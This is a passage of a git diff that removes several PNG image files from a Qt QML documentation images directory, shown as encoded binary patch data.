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 H67k;v_Bxo< diff --git a/src/qml/doc/images/horizontalpositioner_example.png b/src/qml/doc/images/horizontalpositioner_example.png deleted file mode 100644 index 42f90ec7ae00038222e17e2c1bc8e1b02045ba1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 292 zcmeAS@N?(olHy`uVBq!ia0vp^vw+x(g9%8US$r!WNWJ!SaSW-L^Y*Sc7n7lY!$Frl z+bcfJ)3&G!=nntgC?~hq`^3DNqDPZI877Tg;znt@(7xl*vJUUY3LyMgP_ayuH8v^47V?#=^}ffpJ$lWzsf$b`~*2 X^YHgyusf9w^frU1tDnm{r-UW|;QD<5 diff --git a/src/qml/doc/images/imageprovider.png b/src/qml/doc/images/imageprovider.png deleted file mode 100644 index 422103cb079a5a001a81e7e5a8a3a9a15e7d5dbb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 420 zcmeAS@N?(olHy`uVBq!ia0vp^2|%34!3HEXk1UxBq&N#aB8wRqxP?KOkzv*x2?hqn zFi#i9kP61PmmPTz81NjuP$E@-YNm;S9~9MaA7Bq?U`k+?xX;AZz?)FRt-)Z{ o@KJXG!wrUG+XqO3f&B-=j%?;basIa!1B0Ex)78&qol`;+05bT3n*aa+ diff --git a/src/qml/doc/images/layoutmirroring.png b/src/qml/doc/images/layoutmirroring.png deleted file mode 100644 index df90ac4f9aee860e529885e8268f298f26d733c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2542 zcmchYS5y<&7KTGWLTJ(?5{kl5#Sny`u!Nz6K!Vasl%hzL7J3QIICMdJ4Io9pp+t}_ zMKc%(h;#xd9V99s3`i3Q-uQms?ppWZ?6uEcXZ`!%59ixSW+sL_oKQ{x0KkJm>stT- zENaYLlY^ZZLGG|H006k`+>WD&pRlu+Yo=wy8^&O&BZbW zY7ocb>dfwDnuZBJ?4OqNidvMrQjt1pu;E9>?Uq9_6FMBX|Ft3uAo!mwZtx} z?HxH@XoFTCsr3lm=QEZoxAOm}#IuwCl3}xJ^p{_{`g@lLgg{%g>GW;fQAfhLDA{Sj z`jt={^JRRRp!>q){5I+nuwI#0oEyqb^GsgKKO5P?k$I|ncBOv6bPfM=(7s{D<}jO7NbJ~My4kx{ z@ER&HJ<-1!XnZd+XEG!UYnWSy5APywLbW%sdDrNFsijc@8%}m$_j5kvDWnMXu3Gu6?+Jwq01a!6WW{^K6k1<5o$B zk9w}SAc|k}`W~mvQcoeD51)J~kq5%Pm--7jd@TL9`N~`?ae*&^khfz||F+`1o=2;n zvfa_F6((7zm0a#(5erEOm-woXKara|q+yY8wIr+K+j}RA4`#DS3yW!)Y1doAO$F9Y z-$G^zCd6@KWg2>ilov*>S;zG|{0)o-i=RL1EIvk?K&Kw(9s82I7$|aBauV|cfc?;S z0|5Xo!QY1kKrFfl0I*kK^mVPmSiTnz`HG@0_LVry8hh`KwO2@<(}T)HqWR^u02aE5 z=O4?X{c0%uCRXKsTxhYS{tQ+K@7xh9r`~#*fIUIVx&l@Smf`2GFp`%n^Dj~lY3%Is z@}yq!2wAOK2<=hLq&aMF4mZ6GJ>C2;9OQ)0B^&vdHha%EyBH40d*LuQ=DECu;{val5BP>1tz$vdc&CT65TA1kn4>ogYHy`0 zL{$SKcV2E3?qF^?j-vL)MlN{f$cj$1vUy%&pLL`EGcPxq3zU#(9;4wN;A!vDu=YnW zAmYR~4Cs9D?AL9T+T*%J5%;zE#mwgMzTUaU_lwmz>*VH*mG3m*g0ZY0!tLH*d(fq! zV=TU~^zOxSMLDH6OKCx^1BrA0G{*(5D!KhS7+tJwx^N9f5`WYjsO+;kNvTpSdb6^$ z6XC2rS!UUGX&KVt+-qub_NG5+5FcdpU3;PSL{3>D{-Do@Mb2(j{be`!()`HZH7-pO zE!N|Q3#q<-)iyc{=W2~TzBP8M3sFZ|Iv;u;&MCio=hW{5^K`|6Zy7nex6k*DsBqS3 zFch{&B9S+Bk+bIcLE2RzL5gl}2a6}U27FkT2Khf6Mq?bp?QRyUwAD7bTi!RIM@2CT zV?dQRi7CF(^)M*chD3*ejXz>+@eD(+)5@8e&pA=X61sB8P2+1_^s^hTeI>SSZ>=6Q z>)MnjR0;cErVDG@7au-}VI7~)xu15MQ>%1ZOsbFOw^K6Y?Pzc7rnSPEtaAMGYqV&+ z__zZD-cKesYVJQ9puaz4#NH+|5S4A1q8z+ul!_^7l3gO#=h4GexQL*S&A2$t%{;L| zY>|Ab3)CKHmR_|;$ftbGIyU@l01~*9E&M51BzDJ8%Q$R%7uhNKi&RlQ)jANA+A9ma zgBn{iCfbUi5TenhJ^HH2@l&K6V(yl^?RFQC}`1|z9>~CYGnFLo?N`1}M4~edoRy`H+OpFz? z%`hfKAT>-%Jxm7}lXU$wpR%EK^xb5E03Ki$l^&J2D4^m&0r~m)} diff --git a/src/qml/doc/images/listview-highlight.png b/src/qml/doc/images/listview-highlight.png deleted file mode 100644 index dc5c6b3b570318b83f81cca7c29bc33f0a6d33bd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5918 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 C(3b}Q diff --git a/src/qml/doc/images/listview-layout-bottomtotop.png b/src/qml/doc/images/listview-layout-bottomtotop.png deleted file mode 100644 index 980f81d07f1125dd7cba0a724676339568643051..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5620 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 diff --git a/src/qml/doc/images/listview-layout-lefttoright.png b/src/qml/doc/images/listview-layout-lefttoright.png deleted file mode 100644 index 2ee0e4c4ffececd0567381a140346392bc55d150..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5859 zcmd6r;@)4<_8x;eT#?&xlgZa9uOK!HP0K)PFwl5S}b5L6^jTB!qRkd~B2X=#ws zhxh#(o)6E5jhUU<+1c5ho&Ckb47ErI83?hkut;>Y)!`3z?LoZoaUb+3Z5aUdh#|aL6D;LuGz%&jW%PJ?08L4}Ur!K@x ztj!u}4&pkq?o#`|d79qEZEZ|~S2PYw@&2J$f{z`9bz`hF_*Sa;o|e)Io_urHZ+^Fj z8GCuQB7GF*;lGMS;yopCfdX!k48Y$~IJ<_bzPO9SN_k75BEfC8bYRGZs}kjN9kM+i zOcwFj{A{#0{5Ui3Y5O)Gx^j6S0EBDACg#3`(n@(=jpuWrtt9;C_|1_gFE zkwFxDEjdD=l7eI52CXLFxTm2}+A^;%yx>ZObBV9#nDLz5pZ5=vcNnF;ZyWtx^|Z9m z@RBsGqv-slVZ(}24|@+0eT}kaYx0|mr0>cbcI)N8dS59r(Mg{FK~lFceEcKXLuE^D 